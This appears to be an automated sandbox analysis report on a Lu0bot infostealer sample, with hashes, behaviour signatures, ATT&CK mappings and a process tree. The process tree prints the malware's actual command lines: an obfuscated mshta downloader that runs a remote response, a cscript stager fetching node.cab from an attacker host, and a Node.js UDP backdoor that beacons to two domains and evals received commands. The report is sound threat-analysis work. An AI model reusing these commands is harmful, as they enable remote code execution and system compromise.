lu0bot | 22934e006b3f1b8225c51a93ce0acaa1874c4f1dc895fa1664bdf16b0065d2e7

Analysis

max time kernel
148s
max time network
156s
platform
windows10_x64
resource
win10v20210408
submitted
20-07-2021 11:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

af8ae6c1f2859cc139cd176a6656a855.exe
Size

2KB
MD5

af8ae6c1f2859cc139cd176a6656a855
SHA1

161e2d577b418eaa94bf1959a634956b75d7922b
SHA256

22934e006b3f1b8225c51a93ce0acaa1874c4f1dc895fa1664bdf16b0065d2e7
SHA512

a80672ea1f49ebaeaf5b850377ee346e7953bf6379a79db91b826ba2249a66424b0f1be189351dc86088ff9efd72142a46f6d4bff2c5dc7271a4db22c10bcd1e

Score

10^/10

lu0bot discovery stealer trojan

Malware Config

Signatures

Lu0bot
Lu0bot is a lightweight infostealer written in NodeJS.
trojan stealer lu0bot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
12	4012	mshta.exe
14	632	cscript.exe

Executes dropped EXE 1 IoCs

pid	Process
416	node.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3744	icacls.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
2520	tasklist.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command-Line Interface

T1059

pid	Process
2244	ipconfig.exe
1248	netstat.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
744	systeminfo.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\ProgramData\DNTException\node.exe:a2019f763e75f9b24ec9dbfc2f087170	node.exe
File created	C:\Users\Admin\AppData\Local\Temp\6469ae5f8e750d8e:ads	node.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	14	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
416	node.exe
416	node.exe
416	node.exe
416	node.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	2520	tasklist.exe
Token: SeIncreaseQuotaPrivilege	504	wmic.exe
Token: SeSecurityPrivilege	504	wmic.exe
Token: SeTakeOwnershipPrivilege	504	wmic.exe
Token: SeLoadDriverPrivilege	504	wmic.exe
Token: SeSystemProfilePrivilege	504	wmic.exe
Token: SeSystemtimePrivilege	504	wmic.exe
Token: SeProfSingleProcessPrivilege	504	wmic.exe
Token: SeIncBasePriorityPrivilege	504	wmic.exe
Token: SeCreatePagefilePrivilege	504	wmic.exe
Token: SeBackupPrivilege	504	wmic.exe
Token: SeRestorePrivilege	504	wmic.exe
Token: SeShutdownPrivilege	504	wmic.exe
Token: SeDebugPrivilege	504	wmic.exe
Token: SeSystemEnvironmentPrivilege	504	wmic.exe
Token: SeRemoteShutdownPrivilege	504	wmic.exe
Token: SeUndockPrivilege	504	wmic.exe
Token: SeManageVolumePrivilege	504	wmic.exe
Token: 33	504	wmic.exe
Token: 34	504	wmic.exe
Token: 35	504	wmic.exe
Token: 36	504	wmic.exe
Token: SeIncreaseQuotaPrivilege	504	wmic.exe
Token: SeSecurityPrivilege	504	wmic.exe
Token: SeTakeOwnershipPrivilege	504	wmic.exe
Token: SeLoadDriverPrivilege	504	wmic.exe
Token: SeSystemProfilePrivilege	504	wmic.exe
Token: SeSystemtimePrivilege	504	wmic.exe
Token: SeProfSingleProcessPrivilege	504	wmic.exe
Token: SeIncBasePriorityPrivilege	504	wmic.exe
Token: SeCreatePagefilePrivilege	504	wmic.exe
Token: SeBackupPrivilege	504	wmic.exe
Token: SeRestorePrivilege	504	wmic.exe
Token: SeShutdownPrivilege	504	wmic.exe
Token: SeDebugPrivilege	504	wmic.exe
Token: SeSystemEnvironmentPrivilege	504	wmic.exe
Token: SeRemoteShutdownPrivilege	504	wmic.exe
Token: SeUndockPrivilege	504	wmic.exe
Token: SeManageVolumePrivilege	504	wmic.exe
Token: 33	504	wmic.exe
Token: 34	504	wmic.exe
Token: 35	504	wmic.exe
Token: 36	504	wmic.exe
Token: SeDebugPrivilege	1248	netstat.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 852 wrote to memory of 4012	852	af8ae6c1f2859cc139cd176a6656a855.exe	74
PID 852 wrote to memory of 4012	852	af8ae6c1f2859cc139cd176a6656a855.exe	74
PID 852 wrote to memory of 4012	852	af8ae6c1f2859cc139cd176a6656a855.exe	74
PID 4012 wrote to memory of 2792	4012	mshta.exe	76
PID 4012 wrote to memory of 2792	4012	mshta.exe	76
PID 4012 wrote to memory of 2792	4012	mshta.exe	76
PID 2792 wrote to memory of 632	2792	cmd.exe	78
PID 2792 wrote to memory of 632	2792	cmd.exe	78
PID 2792 wrote to memory of 632	2792	cmd.exe	78
PID 2792 wrote to memory of 184	2792	cmd.exe	79
PID 2792 wrote to memory of 184	2792	cmd.exe	79
PID 2792 wrote to memory of 184	2792	cmd.exe	79
PID 2792 wrote to memory of 2976	2792	cmd.exe	80
PID 2792 wrote to memory of 2976	2792	cmd.exe	80
PID 2792 wrote to memory of 2976	2792	cmd.exe	80
PID 2976 wrote to memory of 416	2976	cscript.exe	81
PID 2976 wrote to memory of 416	2976	cscript.exe	81
PID 2976 wrote to memory of 416	2976	cscript.exe	81
PID 416 wrote to memory of 3856	416	node.exe	85
PID 416 wrote to memory of 3856	416	node.exe	85
PID 416 wrote to memory of 3856	416	node.exe	85
PID 416 wrote to memory of 408	416	node.exe	86
PID 416 wrote to memory of 408	416	node.exe	86
PID 416 wrote to memory of 408	416	node.exe	86
PID 416 wrote to memory of 3744	416	node.exe	87
PID 416 wrote to memory of 3744	416	node.exe	87
PID 416 wrote to memory of 3744	416	node.exe	87
PID 416 wrote to memory of 4056	416	node.exe	88
PID 416 wrote to memory of 4056	416	node.exe	88
PID 416 wrote to memory of 4056	416	node.exe	88
PID 416 wrote to memory of 748	416	node.exe	89
PID 416 wrote to memory of 748	416	node.exe	89
PID 416 wrote to memory of 748	416	node.exe	89
PID 416 wrote to memory of 2520	416	node.exe	91
PID 416 wrote to memory of 2520	416	node.exe	91
PID 416 wrote to memory of 2520	416	node.exe	91
PID 416 wrote to memory of 504	416	node.exe	93
PID 416 wrote to memory of 504	416	node.exe	93
PID 416 wrote to memory of 504	416	node.exe	93
PID 416 wrote to memory of 2244	416	node.exe	94
PID 416 wrote to memory of 2244	416	node.exe	94
PID 416 wrote to memory of 2244	416	node.exe	94
PID 416 wrote to memory of 572	416	node.exe	95
PID 416 wrote to memory of 572	416	node.exe	95
PID 416 wrote to memory of 572	416	node.exe	95
PID 416 wrote to memory of 1248	416	node.exe	96
PID 416 wrote to memory of 1248	416	node.exe	96
PID 416 wrote to memory of 1248	416	node.exe	96
PID 416 wrote to memory of 744	416	node.exe	97
PID 416 wrote to memory of 744	416	node.exe	97
PID 416 wrote to memory of 744	416	node.exe	97

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
4056	attrib.exe
748	attrib.exe

C:\Users\Admin\AppData\Local\Temp\af8ae6c1f2859cc139cd176a6656a855.exe
"C:\Users\Admin\AppData\Local\Temp\af8ae6c1f2859cc139cd176a6656a855.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:852
- C:\Windows\SysWOW64\mshta.exe
  mshta "javascript:document.write();47;y=unescape('%317%31%7E%68t%74p%3A%2F%2Fl%751%2Ea%73i%61%2F%68r%69%2F%3F2%31a%36e%34b%7E1%388').split('~');172;try{x='WinHttp';134;x=new ActiveXObject(x+'.'+x+'Request.5.1');197;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);62;x.send();226;y='ipt.S';39;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);72;}catch(e){};20;;window.close();"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:4012
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626782010073.txt & cscript /nologo /e:jscript get1626782010073.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2e78e4646%26b%3D070e55ae" node.cab & expand node.cab node.exe & del get1626782010073.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626782010073.txt & cscript /nologo /e:jscript get1626782010073.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e78e4646%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626782010073.txt
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2792
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626782010073.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F2e78e4646%26b%3D070e55ae" node.cab
      4⤵
      Blocklisted process makes network request
      PID:632
  - - C:\Windows\SysWOW64\expand.exe
      expand node.cab node.exe
      4⤵
      Drops file in Windows directory
      PID:184
  - - C:\Windows\SysWOW64\cscript.exe
      cscript /nologo /e:jscript get1626782010073.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e78e4646%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2976
    - - C:\ProgramData\DNTException\node.exe
        
        "C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27e78e4646%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        NTFS ADS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:416
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c dir C:\
        6⤵
        
        PID:3856
      - C:\Windows\SysWOW64\cacls.exe
        
        cacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F
        6⤵
        
        PID:408
      - C:\Windows\SysWOW64\icacls.exe
        
        icacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)
        6⤵
        Modifies file permissions
        
        PID:3744
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException
        6⤵
        Views/modifies file attributes
        
        PID:4056
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib.exe +H C:\ProgramData\DNTException\node.exe
        6⤵
        Views/modifies file attributes
        
        PID:748
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /fo csv /nh
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2520
      - C:\Windows\SysWOW64\Wbem\wmic.exe
        
        wmic process get processid,parentprocessid,name,executablepath /format:csv
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:504
      - C:\Windows\SysWOW64\ipconfig.exe
        
        ipconfig.exe /all
        6⤵
        Gathers network information
        
        PID:2244
      - C:\Windows\SysWOW64\route.exe
        
        route.exe print
        6⤵
        
        PID:572
      - C:\Windows\SysWOW64\netstat.exe
        
        netstat.exe -ano
        6⤵
        Gathers network information
        Suspicious use of AdjustPrivilegeToken
        
        PID:1248
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo.exe /fo csv
        6⤵
        Gathers system information
        
        PID:744

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Command-Line Interface

T1059

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/416-125-0x000000003F300000-0x000000003F301000-memory.dmp

Filesize
4KB

Download
memory/416-130-0x000000001C300000-0x000000001C301000-memory.dmp

Filesize
4KB

Download
memory/416-129-0x000000000CF00000-0x000000000CF01000-memory.dmp

Filesize
4KB

Download
memory/416-128-0x000000003C600000-0x000000003C601000-memory.dmp

Filesize
4KB

Download
memory/416-127-0x0000000006400000-0x0000000006401000-memory.dmp

Filesize
4KB

Download
memory/416-126-0x000000003E400000-0x000000003E401000-memory.dmp

Filesize
4KB

Download